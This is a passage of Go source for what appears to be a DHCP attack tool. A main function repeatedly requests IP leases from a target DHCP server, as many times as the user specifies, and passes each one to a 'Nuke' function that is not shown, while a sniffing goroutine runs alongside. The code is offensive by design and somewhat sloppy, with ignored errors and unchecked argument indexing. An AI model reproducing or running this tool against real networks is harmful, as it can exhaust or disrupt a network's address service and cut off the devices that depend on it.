func newDHCPClient(link netlink.Link) (*dhcp4client.Client, error) {
pktsock, err := dhcp4client.NewPacketSock(link.Attrs().Index)
if err != nil {
return nil, err
}
return dhcp4client.New(
dhcp4client.HardwareAddr(link.Attrs().HardwareAddr),
dhcp4client.Timeout(5*time.Second),
dhcp4client.Broadcast(false),
dhcp4client.Connection(pktsock),
)
}
func main() {
go sniff()
if len(os.Args) == 1 {
log.Fatalln("You didn't gave to me how times i have to perform this action")
os.Exit(1)
}
toNuke := os.Args[1]
myIP := net.ParseIP(os.Args[2])
dhcpServer := net.ParseIP(os.Args[3])
myMAC := os.Args[4]
Times, _ := strconv.Atoi(toNuke)
m, err := net.ParseMAC(myMAC)
if err != nil {
log.Printf("MAC Error:%v\n", err)
}
c, err := dhcp4client.NewInetSock(dhcp4client.SetLocalAddr(net.UDPAddr{IP: myIP, Port: 68}), dhcp4client.SetRemoteAddr(net.UDPAddr{IP: dhcpServer, Port: 67}))
exampleClient, err := dhcp4client.New(dhcp4client.HardwareAddr(m), dhcp4client.Connection(c), dhcp4client.Broadcast(false))
defer func() {
if err != nil {
exampleClient.Close()
}
}()
for j := 1; j <= Times; j++ {
ip := RequestIP(exampleClient)
log.Println(ip)
ipv4 := net.ParseIP(ip.YIAddr().String())
//Nuke(ip)
//Nuke(exampleClient, m, net.ParseIP("192.168.1.243"))
Nuke(exampleClient, m, ipv4, ip)
}
}